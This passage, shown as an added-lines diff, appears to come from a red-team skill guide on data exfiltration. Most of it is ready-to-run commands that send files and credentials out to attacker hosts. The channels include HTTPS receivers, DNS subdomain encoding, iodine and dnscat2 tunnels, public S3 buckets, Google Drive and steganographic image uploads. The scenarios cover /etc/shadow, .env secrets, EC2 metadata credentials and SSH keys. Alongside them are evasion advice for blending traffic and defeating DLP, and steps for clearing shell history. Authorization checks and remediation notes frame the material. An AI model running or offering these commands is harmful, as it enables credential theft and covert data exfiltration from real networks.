with open(f"/opt/received/data_{len(os.listdir('/opt/received'))}.bin", 'wb') as f:
|
|
256
|
+
f.write(data)
|
|
257
|
+
self.send_response(200); self.end_headers()
|
|
258
|
+
def log_message(self, *args): pass
|
|
259
|
+
|
|
260
|
+
os.makedirs("/opt/received", exist_ok=True)
|
|
261
|
+
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
|
262
|
+
ctx.load_cert_chain('/etc/letsencrypt/live/exfil.yourdomain.com/fullchain.pem',
|
|
263
|
+
'/etc/letsencrypt/live/exfil.yourdomain.com/privkey.pem')
|
|
264
|
+
httpd = HTTPServer(("0.0.0.0", 443), ExfilHandler)
|
|
265
|
+
httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
|
|
266
|
+
httpd.serve_forever()
|
|
267
|
+
EOF
|
|
268
|
+
sudo python3 /opt/https_receiver.py
|
|
269
|
+
|
|
270
|
+
# TARGET MACHINE: Exfil over HTTPS (blends with normal HTTPS traffic)
|
|
271
|
+
curl -s -X POST https://exfil.yourdomain.com/upload \
|
|
272
|
+
-H "Content-Type: application/json" \
|
|
273
|
+
-d "{\"data\": \"$(base64 -w0 /tmp/sample.txt)\"}"
|
|
274
|
+
```
|
|
275
|
+
|
|
276
|
+
#### Steganography Exfiltration
|
|
277
|
+
|
|
278
|
+
```bash
|
|
279
|
+
# ATTACKER: Prepare a carrier image
|
|
280
|
+
wget -q https://upload.wikimedia.org/wikipedia/commons/3/3f/JPEG_example_flower.jpg -O /tmp/carrier.jpg
|
|
281
|
+
|
|
282
|
+
# TARGET: Embed data into image using steghide
|
|
283
|
+
# First, prepare your payload
|
|
284
|
+
echo "Root hash: $(sha256sum /etc/shadow | head -c 64)" > /tmp/payload.txt
|
|
285
|
+
|
|
286
|
+
# Embed with password
|
|
287
|
+
steghide embed -cf /tmp/carrier.jpg -sf /tmp/payload.txt -p "EngagementKey2024" -f
|
|
288
|
+
|
|
289
|
+
# Upload the image to a public image host or your server
|
|
290
|
+
curl -s -X POST https://exfil.yourdomain.com/image \
|
|
291
|
+
-F "file=@/tmp/carrier.jpg"
|
|
292
|
+
|
|
293
|
+
# ATTACKER: Extract the hidden payload
|
|
294
|
+
steghide extract -sf /tmp/carrier.jpg -p "EngagementKey2024" -xf /tmp/extracted.txt
|
|
295
|
+
cat /tmp/extracted.txt
|
|
296
|
+
```
|
|
297
|
+
|
|
298
|
+
#### Cloud Storage Upload (AWS S3)
|
|
299
|
+
|
|
300
|
+
```bash
|
|
301
|
+
# ATTACKER: Pre-configure a write-only S3 bucket
|
|
302
|
+
# Create bucket policy (allow s3:PutObject from any principal)
|
|
303
|
+
aws s3api create-bucket --bucket rt-exfil-drop-$(date +%s) --region us-east-1
|
|
304
|
+
aws s3api put-bucket-policy --bucket YOUR_BUCKET --policy '{
|
|
305
|
+
"Version": "2012-10-17",
|
|
306
|
+
"Statement": [{
|
|
307
|
+
"Effect": "Allow",
|
|
308
|
+
"Principal": "*",
|
|
309
|
+
"Action": ["s3:PutObject"],
|
|
310
|
+
"Resource": "arn:aws:s3:::YOUR_BUCKET/*"
|
|
311
|
+
}]
|
|
312
|
+
}'
|
|
313
|
+
|
|
314
|
+
# TARGET MACHINE: Upload without needing AWS credentials (public write)
|
|
315
|
+
# Using pre-signed URL approach
|
|
316
|
+
curl -s -X PUT "https://YOUR_BUCKET.s3.amazonaws.com/exfil/sample.txt" \
|
|
317
|
+
-H "Content-Type: application/octet-stream" \
|
|
318
|
+
--data-binary @/tmp/sample.txt
|
|
319
|
+
|
|
320
|
+
# Or with AWS CLI if credentials are available
|
|
321
|
+
AWS_ACCESS_KEY_ID="YOUR_KEY" \
|
|
322
|
+
AWS_SECRET_ACCESS_KEY="YOUR_SECRET" \
|
|
323
|
+
aws s3 cp /tmp/sample.txt s3://YOUR_BUCKET/exfil/sample.txt
|
|
324
|
+
```
|
|
325
|
+
|
|
326
|
+
#### Google Drive Upload
|
|
327
|
+
|
|
328
|
+
```bash
|
|
329
|
+
# ATTACKER: Authenticate gdrive with burner account
|
|
330
|
+
gdrive account add # Follow OAuth flow once
|
|
331
|
+
|
|
332
|
+
# TARGET MACHINE: Upload file (requires gdrive binary + token)
|
|
333
|
+
# Copy gdrive binary and token to target
|
|
334
|
+
scp /usr/local/bin/gdrive user@target:/tmp/gdrive
|
|
335
|
+
scp ~/.config/gdrive/accounts/ user@target:/tmp/gdrive_config/ -r
|
|
336
|
+
|
|
337
|
+
# On target
|
|
338
|
+
/tmp/gdrive --config /tmp/gdrive_config files upload /tmp/sample.txt
|
|
339
|
+
```
|
|
340
|
+
|
|
341
|
+
---
|
|
342
|
+
|
|
343
|
+
### EXPERT — Protocol Tunneling and Covert Channels
|
|
344
|
+
|
|
345
|
+
**Goal:** Exfiltrate through channels that bypass all standard controls.
|
|
346
|
+
|
|
347
|
+
#### DNS Tunnel with iodine (Full IP tunnel over DNS)
|
|
348
|
+
|
|
349
|
+
```bash
|
|
350
|
+
# ATTACKER VPS: Run iodined server
|
|
351
|
+
# First, delegate NS record: ns1.tunnel.yourdomain.com -> your VPS IP
|
|
352
|
+
sudo iodined -f -c -P EngagementPass 10.0.0.1 tunnel.yourdomain.com
|
|
353
|
+
|
|
354
|
+
# TARGET: Connect via iodine client
|
|
355
|
+
sudo iodine -f -P EngagementPass tunnel.yourdomain.com
|
|
356
|
+
|
|
357
|
+
# Once tunnel is up, use the 10.0.0.x network for all traffic
|
|
358
|
+
curl http://10.0.0.1:8080/ # All traffic goes through DNS
|
|
359
|
+
```
|
|
360
|
+
|
|
361
|
+
#### DNScat2 (Encrypted C2 + Exfil over DNS)
|
|
362
|
+
|
|
363
|
+
```bash
|
|
364
|
+
# ATTACKER VPS: Start dnscat2 server
|
|
365
|
+
ruby /usr/share/dnscat2/dnscat2.rb --dns "domain=exfil.yourdomain.com,host=0.0.0.0" --no-cache --secret EngagementSecret2024
|
|
366
|
+
|
|
367
|
+
# TARGET: Connect dnscat2 client
|
|
368
|
+
# Compile client on target (if gcc available)
|
|
369
|
+
git clone https://github.com/iagox86/dnscat2 /tmp/dnscat2
|
|
370
|
+
cd /tmp/dnscat2/client && make
|
|
371
|
+
./dnscat --secret EngagementSecret2024 exfil.yourdomain.com
|
|
372
|
+
|
|
373
|
+
# In dnscat2 server console: create file exfil channel
|
|
374
|
+
dnscat2> session -i 1
|
|
375
|
+
command (session 1)> shell
|
|
376
|
+
# Now you have a shell; pipe file contents
|
|
377
|
+
cat /etc/shadow | ./dnscat --secret EngagementSecret2024 exfil.yourdomain.com
|
|
378
|
+
```
|
|
379
|
+
|
|
380
|
+
#### Compressed and Encrypted Archive Transfer
|
|
381
|
+
|
|
382
|
+
```bash
|
|
383
|
+
# TARGET: Create encrypted archive of target data
|
|
384
|
+
# Using 7zip with AES-256
|
|
385
|
+
7z a -tzip -p"EngagementKey2024!" -mhe=on /tmp/exfil_archive.zip /tmp/sample_data/
|
|
386
|
+
|
|
387
|
+
# Using GPG encryption
|
|
388
|
+
gpg --batch --yes --passphrase "EngagementKey2024!" \
|
|
389
|
+
--symmetric --cipher-algo AES256 \
|
|
390
|
+
-o /tmp/exfil_archive.gpg /tmp/sample.txt
|
|
391
|
+
|
|
392
|
+
# Split into chunks to avoid size-based DLP triggers (e.g., <5MB chunks)
|
|
393
|
+
split -b 5m /tmp/exfil_archive.gpg /tmp/chunk_
|
|
394
|
+
|
|
395
|
+
# Upload each chunk
|
|
396
|
+
for chunk in /tmp/chunk_*; do
|
|
397
|
+
chunkname=$(basename $chunk)
|
|
398
|
+
curl -s -X POST https://exfil.yourdomain.com/upload/${chunkname} \
|
|
399
|
+
--data-binary @${chunk}
|
|
400
|
+
sleep 2
|
|
401
|
+
done
|
|
402
|
+
|
|
403
|
+
# ATTACKER: Reassemble
|
|
404
|
+
cat /opt/received/chunk_* > /tmp/reassembled.gpg
|
|
405
|
+
gpg --batch --passphrase "EngagementKey2024!" -o /tmp/decrypted.txt -d /tmp/reassembled.gpg
|
|
406
|
+
```
|
|
407
|
+
|
|
408
|
+
#### Cloakify (Encode Data as Innocuous Text)
|
|
409
|
+
|
|
410
|
+
```bash
|
|
411
|
+
# Cloakify encodes binary data as lists of common words, IP addresses, etc.
|
|
412
|
+
cd /opt/cloakify
|
|
413
|
+
|
|
414
|
+
# Encode data using a "cipher" (list of common strings)
|
|
415
|
+
python3 cloakify.py /tmp/sample.txt ciphers/desserts.txt > /tmp/cloaked.txt
|
|
416
|
+
cat /tmp/cloaked.txt # Looks like a list of desserts
|
|
417
|
+
|
|
418
|
+
# Transfer the innocuous-looking text (email, pastebin, etc.)
|
|
419
|
+
curl -s -X POST https://exfil.yourdomain.com/text \
|
|
420
|
+
-d "$(cat /tmp/cloaked.txt)"
|
|
421
|
+
|
|
422
|
+
# ATTACKER: Decode
|
|
423
|
+
python3 decloakify.py /tmp/cloaked.txt ciphers/desserts.txt > /tmp/recovered.bin
|
|
424
|
+
```
|
|
425
|
+
|
|
426
|
+
---
|
|
427
|
+
|
|
428
|
+
## 4. Step-by-Step Attack Workflow
|
|
429
|
+
|
|
430
|
+
```
|
|
431
|
+
Step 1: PRE-ENGAGEMENT AUTHORIZATION CHECK
|
|
432
|
+
1.1 Confirm SEAD document explicitly covers data exfiltration
|
|
433
|
+
1.2 Confirm which systems and data types are in-scope
|
|
434
|
+
1.3 Confirm data destruction timeline and chain of custody requirements
|
|
435
|
+
1.4 Set up attacker infrastructure (VPS, domain, receivers)
|
|
436
|
+
1.5 Document attacker infrastructure in engagement log
|
|
437
|
+
|
|
438
|
+
Step 2: RECONNAISSANCE — EGRESS PROFILING
|
|
439
|
+
2.1 From target: test HTTP egress → curl http://ifconfig.me
|
|
440
|
+
2.2 From target: test HTTPS egress → curl https://ifconfig.me
|
|
441
|
+
2.3 From target: test DNS egress → nslookup google.com 8.8.8.8
|
|
442
|
+
2.4 From target: test non-standard ports → nc -zv your-vps 4444
|
|
443
|
+
2.5 Document which channels are open in recon notes
|
|
444
|
+
2.6 Check for proxy requirements → env | grep -i proxy
|
|
445
|
+
|
|
446
|
+
Step 3: DATA IDENTIFICATION (Minimum Viable Sample)
|
|
447
|
+
3.1 Identify in-scope sensitive data locations
|
|
448
|
+
3.2 Select minimum sample that proves data access
|
|
449
|
+
3.3 Hash the original file (SHA256) for chain of custody
|
|
450
|
+
3.4 Record file path, size, and hash in engagement log
|
|
451
|
+
|
|
452
|
+
Step 4: PAYLOAD PREPARATION
|
|
453
|
+
4.1 Copy/stage only the minimum sample to /tmp/
|
|
454
|
+
4.2 Compress sample: tar czf /tmp/sample.tar.gz /tmp/sample.txt
|
|
455
|
+
4.3 Encrypt sample: gpg --symmetric -o /tmp/sample.gpg /tmp/sample.tar.gz
|
|
456
|
+
4.4 Encode if needed (base64, base32, cloakify)
|
|
457
|
+
|
|
458
|
+
Step 5: EXFILTRATION EXECUTION
|
|
459
|
+
5.1 Select channel based on egress profiling (DNS > HTTPS > HTTP)
|
|
460
|
+
5.2 Execute chosen technique (see Section 3)
|
|
461
|
+
5.3 Verify receipt on attacker-controlled receiver
|
|
462
|
+
5.4 Record timestamp, bytes transferred, and channel used
|
|
463
|
+
|
|
464
|
+
Step 6: VERIFICATION
|
|
465
|
+
6.1 On attacker side: hash received data
|
|
466
|
+
6.2 Compare hash to original (proves integrity, proves exfil success)
|
|
467
|
+
6.3 Document hash match in engagement log
|
|
468
|
+
|
|
469
|
+
Step 7: CLEANUP
|
|
470
|
+
7.1 Delete staged files from target: rm -f /tmp/sample* /tmp/chunk_* /tmp/exfil*
|
|
471
|
+
7.2 Clear any shell history entries referencing exfil
|
|
472
|
+
7.3 Delete received data from attacker infrastructure per agreed timeline
|
|
473
|
+
7.4 Document cleanup completion in engagement log
|
|
474
|
+
|
|
475
|
+
Step 8: REPORTING
|
|
476
|
+
8.1 Record technique used, detection (or lack thereof)
|
|
477
|
+
8.2 Record SIEM/DLP alerts triggered (request from blue team)
|
|
478
|
+
8.3 Provide remediation recommendations
|
|
479
|
+
```
|
|
480
|
+
|
|
481
|
+
---
|
|
482
|
+
|
|
483
|
+
## 5. Real Attack Scenarios
|
|
484
|
+
|
|
485
|
+
### Scenario A: Corporate Network — DLP Bypass via DNS Exfiltration
|
|
486
|
+
|
|
487
|
+
**Environment:** Corporate Windows network, proxy enforced, all HTTP/HTTPS goes through Zscaler. Direct internet blocked except DNS to 8.8.8.8.
|
|
488
|
+
|
|
489
|
+
**Objective:** Prove that database credentials found on a compromised dev server can leave the network.
|
|
490
|
+
|
|
491
|
+
```bash
|
|
492
|
+
# ATTACKER VPS (1.2.3.4): Set up DNS receiver
|
|
493
|
+
# NS record: exfil.redteam-ops.com -> 1.2.3.4
|
|
494
|
+
sudo python3 /opt/dns_receiver.py
|
|
495
|
+
|
|
496
|
+
# TARGET (compromised dev server):
|
|
497
|
+
# Step 1: Find the credentials (in-scope per SEAD)
|
|
498
|
+
grep -ri "password" /home/devuser/.env 2>/dev/null | head -3 > /tmp/db_creds.txt
|
|
499
|
+
sha256sum /tmp/db_creds.txt # Record original hash for CoC
|
|
500
|
+
|
|
501
|
+
# Step 2: Encode and exfiltrate via DNS
|
|
502
|
+
while IFS= read -r line; do
|
|
503
|
+
chunk=$(echo -n "$line" | base32 | tr -d '=' | tr '[:upper:]' '[:lower:]' | head -c 60)
|
|
504
|
+
nslookup "${chunk}.exfil.redteam-ops.com" 8.8.8.8 > /dev/null 2>&1
|
|
505
|
+
sleep 1
|
|
506
|
+
done < /tmp/db_creds.txt
|
|
507
|
+
|
|
508
|
+
# Step 3: Send terminator
|
|
509
|
+
nslookup "done.exfil.redteam-ops.com" 8.8.8.8 > /dev/null 2>&1
|
|
510
|
+
|
|
511
|
+
# ATTACKER: Verify receipt
|
|
512
|
+
cat /opt/exfil_output.txt
|
|
513
|
+
# Output: root:x:0:0:root:/root:/bin/bash (decoded)
|
|
514
|
+
|
|
515
|
+
# Cleanup
|
|
516
|
+
rm -f /tmp/db_creds.txt
|
|
517
|
+
history -c
|
|
518
|
+
|
|
519
|
+
# Finding to report: DNS-based DLP bypass successful. Zscaler proxy not
|
|
520
|
+
# inspecting DNS traffic. Recommend DNS filtering (Cisco Umbrella/Infoblox).
|
|
521
|
+
```
|
|
522
|
+
|
|
523
|
+
---
|
|
524
|
+
|
|
525
|
+
### Scenario B: Cloud-Adjacent Target — S3 Upload via Compromised EC2 Role
|
|
526
|
+
|
|
527
|
+
**Environment:** EC2 instance with an overly permissive IAM role (s3:PutObject on *).
|
|
528
|
+
|
|
529
|
+
**Objective:** Demonstrate that compromised EC2 metadata credentials can exfiltrate data to an attacker bucket.
|
|
530
|
+
|
|
531
|
+
```bash
|
|
532
|
+
# TARGET (compromised EC2):
|
|
533
|
+
# Step 1: Retrieve instance credentials from metadata service
|
|
534
|
+
ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
|
535
|
+
CREDS=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/${ROLE_NAME})
|
|
536
|
+
|
|
537
|
+
export AWS_ACCESS_KEY_ID=$(echo $CREDS | python3 -c "import sys,json; print(json.load(sys.stdin)['AccessKeyId'])")
|
|
538
|
+
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | python3 -c "import sys,json; print(json.load(sys.stdin)['SecretAccessKey'])")
|
|
539
|
+
export AWS_SESSION_TOKEN=$(echo $CREDS | python3 -c "import sys,json; print(json.load(sys.stdin)['Token'])")
|
|
540
|
+
|
|
541
|
+
# Step 2: Identify sensitive data (in-scope)
|
|
542
|
+
find /var/app -name "*.env" 2>/dev/null | head -1 > /tmp/target_file.txt
|
|
543
|
+
cat /tmp/target_file.txt # Verify it's the right file
|
|
544
|
+
|
|
545
|
+
# Step 3: Minimum sample — first 5 lines only
|
|
546
|
+
head -5 $(cat /tmp/target_file.txt) > /tmp/sample.txt
|
|
547
|
+
sha256sum /tmp/sample.txt # Chain of custody hash
|
|
548
|
+
|
|
549
|
+
# Step 4: Encrypt then upload
|
|
550
|
+
openssl enc -aes-256-cbc -pbkdf2 -k "EngagementKey2024" \
|
|
551
|
+
-in /tmp/sample.txt -out /tmp/sample.enc
|
|
552
|
+
|
|
553
|
+
aws s3 cp /tmp/sample.enc s3://rt-attacker-drop-bucket/exfil/ec2-sample-$(date +%s).enc \
|
|
554
|
+
--region us-east-1
|
|
555
|
+
|
|
556
|
+
# Step 5: Verify upload
|
|
557
|
+
aws s3 ls s3://rt-attacker-drop-bucket/exfil/
|
|
558
|
+
|
|
559
|
+
# ATTACKER: Download and decrypt
|
|
560
|
+
aws s3 cp s3://rt-attacker-drop-bucket/exfil/ec2-sample-*.enc /tmp/received.enc
|
|
561
|
+
openssl enc -d -aes-256-cbc -pbkdf2 -k "EngagementKey2024" \
|
|
562
|
+
-in /tmp/received.enc -out /tmp/recovered.txt
|
|
563
|
+
cat /tmp/recovered.txt
|
|
564
|
+
|
|
565
|
+
# Cleanup target
|
|
566
|
+
rm -f /tmp/sample.txt /tmp/sample.enc /tmp/target_file.txt
|
|
567
|
+
|
|
568
|
+
# Finding: EC2 role grants s3:PutObject to *, enabling exfiltration to
|
|
569
|
+
# any attacker-controlled S3 bucket. Remediate: scope IAM roles to
|
|
570
|
+
# specific buckets and prefixes. Enable S3 server access logging.
|
|
571
|
+
```
|
|
572
|
+
|
|
573
|
+
---
|
|
574
|
+
|
|
575
|
+
### Scenario C: Air-Gapped Adjacent Host — Steganography via Web Application
|
|
576
|
+
|
|
577
|
+
**Environment:** Internal web application allows image uploads (profile pictures). Files are publicly accessible. Target has no direct internet access but uploads go through the web app.
|
|
578
|
+
|
|
579
|
+
**Objective:** Exfiltrate data by embedding it in an image uploaded through the allowed web app channel.
|
|
580
|
+
|
|
581
|
+
```bash
|
|
582
|
+
# TARGET (internal host):
|
|
583
|
+
# Step 1: Prepare minimum viable sample
|
|
584
|
+
echo "SSH_KEY_HASH=$(sha256sum /home/admin/.ssh/id_rsa | awk '{print $1}')" > /tmp/payload.txt
|
|
585
|
+
echo "HOSTNAME=$(hostname)" >> /tmp/payload.txt
|
|
586
|
+
echo "INTERNAL_IP=$(hostname -I)" >> /tmp/payload.txt
|
|
587
|
+
|
|
588
|
+
sha256sum /tmp/payload.txt # Record for chain of custody
|
|
589
|
+
|
|
590
|
+
# Step 2: Download a generic carrier image from the web app or internet
|
|
591
|
+
# (If internet-accessible via the web app's allowed domains)
|
|
592
|
+
curl -s https://www.gravatar.com/avatar/00000000000000000000000000000000?d=mp&s=200 \
|
|
593
|
+
-o /tmp/carrier.jpg
|
|
594
|
+
|
|
595
|
+
# Step 3: Embed payload
|
|
596
|
+
steghide embed -cf /tmp/carrier.jpg -sf /tmp/payload.txt \
|
|
597
|
+
-p "RTEngagement2024!" -f -q
|
|
598
|
+
|
|
599
|
+
# Step 4: Upload via the web app's allowed image upload endpoint
|
|
600
|
+
curl -s -b "session=VALID_SESSION_COOKIE" \
|
|
601
|
+
-F "profile_pic=@/tmp/carrier.jpg;type=image/jpeg" \
|
|
602
|
+
https://internal-webapp.corp/api/profile/avatar
|
|
603
|
+
|
|
604
|
+
# ATTACKER: Access the publicly viewable profile image
|
|
605
|
+
wget -q https://internal-webapp.corp/uploads/user_12345/avatar.jpg -O /tmp/received.jpg
|
|
606
|
+
|
|
607
|
+
# Extract hidden payload
|
|
608
|
+
steghide extract -sf /tmp/received.jpg -p "RTEngagement2024!" -xf /tmp/extracted.txt -f
|
|
609
|
+
cat /tmp/extracted.txt
|
|
610
|
+
|
|
611
|
+
# Cleanup target
|
|
612
|
+
rm -f /tmp/payload.txt /tmp/carrier.jpg
|
|
613
|
+
|
|
614
|
+
# Finding: Web application image upload can be used as a covert exfiltration
|
|
615
|
+
# channel. DLP tools do not inspect steganographic content. Recommend:
|
|
616
|
+
# image re-encoding on upload (strips embedded data), content-aware DLP.
|
|
617
|
+
```
|
|
618
|
+
|
|
619
|
+
---
|
|
620
|
+
|
|
621
|
+
## 6. OPSEC Considerations
|
|
622
|
+
|
|
623
|
+
### 6.1 Detection Risks by Technique
|
|
624
|
+
|
|
625
|
+
| Technique | Detection Risk | Key Indicators |
|
|
626
|
+
|-----------|---------------|----------------|
|
|
627
|
+
| DNS exfil (high volume) | HIGH | Anomalous DNS query volume, long subdomain labels, base32 patterns |
|
|
628
|
+
| DNS exfil (low/slow) | MEDIUM | Uncommon subdomain TLDs, queries to new external resolvers |
|
|
629
|
+
| HTTP POST (plaintext) | HIGH | Large outbound POST to unknown IP, DLP content inspection |
|
|
630
|
+
| HTTPS POST (valid cert) | MEDIUM | New TLS destination, certificate transparency logs |
|
|
631
|
+
| S3 upload | MEDIUM | CloudTrail PutObject to external bucket, unusual s3 destination |
|
|
632
|
+
| Steganography | LOW | Requires content-aware inspection, usually undetected |
|
|
633
|
+
| DNS tunnel (iodine) | HIGH | TXT/NULL/CNAME record abuse, session-like DNS patterns |
|
|
634
|
+
| Cloakify | LOW-MEDIUM | Semantic analysis needed to detect encoded data |
|
|
635
|
+
|
|
636
|
+
### 6.2 Mitigation Techniques (OPSEC for the Operator)
|
|
637
|
+
|
|
638
|
+
**Volume and Rate Limiting:**
|
|
639
|
+
```bash
|
|
640
|
+
# Add delays between DNS queries to avoid volume-based detection
|
|
641
|
+
sleep $((RANDOM % 3 + 1)) # Random 1-3 second delay between queries
|
|
642
|
+
|
|
643
|
+
# Chunk sizes that match legitimate DNS query patterns (< 63 chars per label)
|
|
644
|
+
fold -w 40 # Stay well under the 63-char label limit
|
|
645
|
+
```
|
|
646
|
+
|
|
647
|
+
**Blending Traffic:**
|
|
648
|
+
- Use port 443 with a valid TLS certificate (Let's Encrypt) for HTTPS exfil
|
|
649
|
+
- Fake realistic User-Agent headers matching common browsers
|
|
650
|
+
- Upload files in size ranges matching normal user behavior (< 2MB)
|
|
651
|
+
- Time exfiltration during business hours to blend with normal traffic patterns
|
|
652
|
+
|
|
653
|
+
**Channel Selection Priority (lowest detection risk first):**
|
|
654
|
+
1. Steganography through allowed upload channels
|
|
655
|
+
2. HTTPS to a domain with valid cert and reputation
|
|
656
|
+
3. Cloud storage (S3, Google Drive) — traffic looks like SaaS usage
|
|
657
|
+
4. DNS tunneling (encrypted, low-volume)
|
|
658
|
+
5. DNS exfiltration (raw subdomains) — highest detection risk
|
|
659
|
+
|
|
660
|
+
**Avoid:**
|
|
661
|
+
- Sending data in single large bursts
|
|
662
|
+
- Using raw IP addresses as destinations (no domain = suspicious)
|
|
663
|
+
- Non-standard ports unless confirmed open via egress probe
|
|
664
|
+
- Cleartext HTTP when HTTPS is available
|
|
665
|
+
- Keeping staged files on target longer than necessary
|
|
666
|
+
|
|
667
|
+
### 6.3 What Gets You Caught
|
|
668
|
+
|
|
669
|
+
- **Volume anomalies:** Transferring 100MB when the org averages 1MB/hr/user
|
|
670
|
+
- **New external destinations:** First-time connection to your VPS IP triggers SIEM
|
|
671
|
+
- **DNS label patterns:** Base32/Base64 encoded labels have distinctive character distributions
|
|
672
|
+
- **Certificate transparency:** Your Let's Encrypt cert for exfil.yourdomain.com is logged publicly
|
|
673
|
+
- **Timing:** Exfiltrating at 3am when no users are logged in
|
|
674
|
+
- **Cleanup failure:** Leaving staged files or shell history on the target
|
|
675
|
+
|
|
676
|
+
---
|
|
677
|
+
|
|
678
|
+
## 7. Output and Documentation Instructions
|
|
679
|
+
|
|
680
|
+
### 7.1 Chain of Custody Log (Required for Every Exfil)
|
|
681
|
+
|
|
682
|
+
Create this log entry before and after every exfiltration attempt:
|
|
683
|
+
|
|
684
|
+
```
|
|
685
|
+
=== DATA EXFILTRATION CHAIN OF CUSTODY ===
|
|
686
|
+
Engagement ID : ENG-2024-XXXX
|
|
687
|
+
Operator : [Your name/handle]
|
|
688
|
+
Authorization Ref : SEAD-v2.3, Section 4.2 (Data Exfiltration)
|
|
689
|
+
Timestamp (UTC) : 2024-XX-XX XX:XX:XX UTC
|
|
690
|
+
|
|
691
|
+
SOURCE
|
|
692
|
+
Host : 192.168.1.50 (dev-server-01)
|
|
693
|
+
File path : /home/devuser/.env
|
|
694
|
+
Original SHA256 : abc123...
|
|
695
|
+
Sample size : First 5 lines (143 bytes)
|
|
696
|
+
|
|
697
|
+
TECHNIQUE USED : DNS exfiltration via subdomain encoding (base32)
|
|
698
|
+
CHANNEL : UDP/53 to 8.8.8.8 -> exfil.redteam-ops.com
|
|
699
|
+
|
|
700
|
+
RECEIPT CONFIRMED
|
|
701
|
+
Attacker host : 1.2.3.4 (vps-rt-01)
|
|
702
|
+
Received SHA256 : abc123... (MATCH)
|
|
703
|
+
Timestamp (UTC) : 2024-XX-XX XX:XX:XX UTC
|
|
704
|
+
|
|
705
|
+
DETECTION STATUS : No SIEM alerts observed during window (confirm with blue team)
|
|
706
|
+
|
|
707
|
+
CLEANUP COMPLETED
|
|
708
|
+
Target files : Deleted at 2024-XX-XX XX:XX:XX UTC
|
|
709
|
+
Attacker files : Scheduled for deletion at engagement close
|
|
710
|
+
Shell history : Cleared on target
|
|
711
|
+
|
|
712
|
+
FINDING SUMMARY : DNS exfil bypasses Zscaler proxy. DLP has no DNS inspection.
|
|
713
|
+
RECOMMENDATIONS : Deploy DNS filtering (Umbrella), add DNS exfil detection rules.
|
|
714
|
+
===
|
|
715
|
+
```
|
|
716
|
+
|
|
717
|
+
### 7.2 Report Section Template
|
|
718
|
+
|
|
719
|
+
```markdown
|
|
720
|
+
## Finding: Data Exfiltration via [TECHNIQUE]
|
|
721
|
+
|
|
722
|
+
**Severity:** High / Critical
|
|
723
|
+
**MITRE ATT&CK:** T1048 (Exfiltration Over Alternative Protocol)
|
|
724
|
+
**Systems Affected:** [host list]
|
|
725
|
+
|
|
726
|
+
### Description
|
|
727
|
+
[Describe what was exfiltrated, from where, and how]
|
|
728
|
+
|
|
729
|
+
### Evidence
|
|
730
|
+
- Screenshot of DNS receiver capturing data
|
|
731
|
+
- Hash comparison proving data integrity
|
|
732
|
+
- Timestamp log of exfiltration window
|
|
733
|
+
|
|
734
|
+
### Business Impact
|
|
735
|
+
An attacker with the same access could exfiltrate [data type], enabling
|
|
736
|
+
[business impact: credential theft, IP theft, regulatory violation].
|
|
737
|
+
|
|
738
|
+
### Remediation
|
|
739
|
+
1. [Primary control: DNS filtering / proxy inspection / DLP rule]
|
|
740
|
+
2. [Secondary control: alert on outbound DNS to new resolvers]
|
|
741
|
+
3. [Detection: SIEM rule for DNS label length > 40 chars]
|
|
742
|
+
```
|
|
743
|
+
|
|
744
|
+
---
|
|
745
|
+
|
|
746
|
+
## 8. Resources
|
|
747
|
+
|
|
748
|
+
### Core Tooling
|
|
749
|
+
|
|
750
|
+
| Tool | URL | Use Case |
|
|
751
|
+
|------|-----|----------|
|
|
752
|
+
| DNScat2 | https://github.com/iagox86/dnscat2 | DNS C2 and exfiltration |
|
|
753
|
+
| iodine | https://github.com/yarrick/iodine | IP-over-DNS tunnel |
|
|
754
|
+
| Cloakify | https://github.com/TryCatchHCF/Cloakify | Data encoding/obfuscation |
|
|
755
|
+
| PyExfil | https://github.com/ytisf/PyExfil | Multi-protocol exfil framework |
|
|
756
|
+
| Egress-Assess | https://github.com/FortyNorthSecurity/Egress-Assess | Egress control testing |
|
|
757
|
+
| DNSExfiltrator | https://github.com/Arno0x/DNSExfiltrator | DNS exfil with RC4 encryption |
|
|
758
|
+
| PacketWhisper | https://github.com/TryCatchHCF/PacketWhisper | Steganographic DNS exfil |
|
|
759
|
+
| DET | https://github.com/sensepost/DET | Multi-channel data exfiltration |
|
|
760
|
+
|
|
761
|
+
### Reference and Research
|
|
762
|
+
|
|
763
|
+
| Resource | URL |
|
|
764
|
+
|----------|-----|
|
|
765
|
+
| MITRE ATT&CK T1048 | https://attack.mitre.org/techniques/T1048/ |
|
|
766
|
+
| MITRE ATT&CK T1041 | https://attack.mitre.org/techniques/T1041/ |
|
|
767
|
+
| DNS Exfiltration Techniques | https://github.com/m57/dnsteal |
|
|
768
|
+
| Steghide documentation | https://steghide.sourceforge.net/documentation.php |
|
|
769
|
+
| Red Team Notes — Exfil | https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Exfiltration/README.md |
|
|
770
|
+
| AWS IAM Privilege Escalation | https://github.com/RhinoSecurityLabs/cloudgoat |
|
|
771
|
+
| Detection Engineering (Blue) | https://github.com/SigmaHQ/sigma/tree/master/rules/network |
|
|
772
|
+
|
|
773
|
+
### Lab Practice
|
|
774
|
+
|
|
775
|
+
| Resource | URL |
|
|
776
|
+
|----------|-----|
|
|
777
|
+
| PentesterLab | https://pentesterlab.com |
|
|
778
|
+
| HackTheBox (Pro Labs) | https://www.hackthebox.com/hacker/pro-labs |
|
|
779
|
+
| TryHackMe Exfiltration Room | https://tryhackme.com/room/dataxexfilt |
|
|
780
|
+
| SANS SEC560 | https://www.sans.org/cyber-security-courses/network-penetration-testing-ethical-hacking/ |
|
|
781
|
+
|
|
782
|
+
---
|
|
783
|
+
|
|
784
|
+
*All techniques in this skill must only be executed under written authorization (SEAD). Unauthorized exfiltration is illegal under the Computer Fraud and Abuse Act (CFAA) and equivalent international statutes. Always minimize data collection to the smallest sample that proves the finding.*
|